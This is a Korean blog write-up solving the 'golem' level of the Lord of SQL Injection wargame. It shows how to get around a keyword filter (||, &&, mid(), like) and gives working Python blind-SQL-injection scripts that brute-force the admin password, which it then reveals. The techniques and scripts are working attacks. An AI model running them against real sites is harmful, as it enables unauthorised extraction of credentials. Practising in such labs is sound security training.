War game/Lord of SQL Injection
[ Los ] golem
power-girl0-0
2021. 3. 22. 00:12
728x90
주소 : https://los.rubiya.kr/
Lord of SQLInjection
los.rubiya.kr
[ 문제 ]
[ 풀이 ]
먼저, 차단하고 있는 것을 확인해보자.
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
or, and, substr(, =을 차단하고 있다.
해당 차단은 아래와 같이 우회할 수 있다.
or과 and는 || 와 &&로 대체할 수 있다.
substr( )함수는 mid()함수로, =은 like로 우회가 가능하다.
이제 위 우회방법을 활용하여 id=admin을 입력해보자.
?pw=' || id like 'admin' %23 |
그 결과, 위와 같이 'Hello admin'이 출력되는 것을 확인할 수 있다.
이제, 문제 Clear를 위해 비밀번호 길이를 구해보자.
코드는 이전 문제에서 풀은 코드에서, query문만 바꿔주면 된다.
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}
def password_length():
len_pw=0
while 1 :
len_pw += 1
print(len_pw)
value = "' || id like 'admin' && length(pw) like {} #".format(len_pw)
params={'pw':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", len_pw)
break
return len_pw
password_length()
웹 페이지에서도 패스워드 길이를 확인해보자.
여기서 주의할 점은 url에서는 &&는 실행되지 않으므로, 인코딩된 %26%26을 사용해야 된다.
이로써, pw의 길이는 8인 것을 알 수 있다.
이제 pw를 유추해보자.
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}
def password_length():
len_pw=0
while 1 :
len_pw += 1
print(len_pw)
value = "' || id like 'admin' && length(pw) like {} #".format(len_pw)
params={'pw':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", len_pw)
break
return len_pw
def find_pw(len_pw):
pw=''
for i in range(1,len_pw+1):
print(i,"번째 찾는 중")
for j in range(48,122):
value = "' || id like 'admin' && ascii(mid(pw, {}, 1)) like {} #".format(i, j)
params={"pw":value}
response = requests.get(url,params=params, cookies=cookies)
if "Hello admin" in response.text:
pw+=chr(j)
print("password : ",pw)
break
find_pw(password_length())
구한 값인 77d6290b를 웹페이지에서 입력해보자.
해당 문제에서도 데이터베이스의 pw면 CLEAR되므로, pw=77d6290b만 입력해주면 CLEAR된다.
문제 CLEAR!!
728x90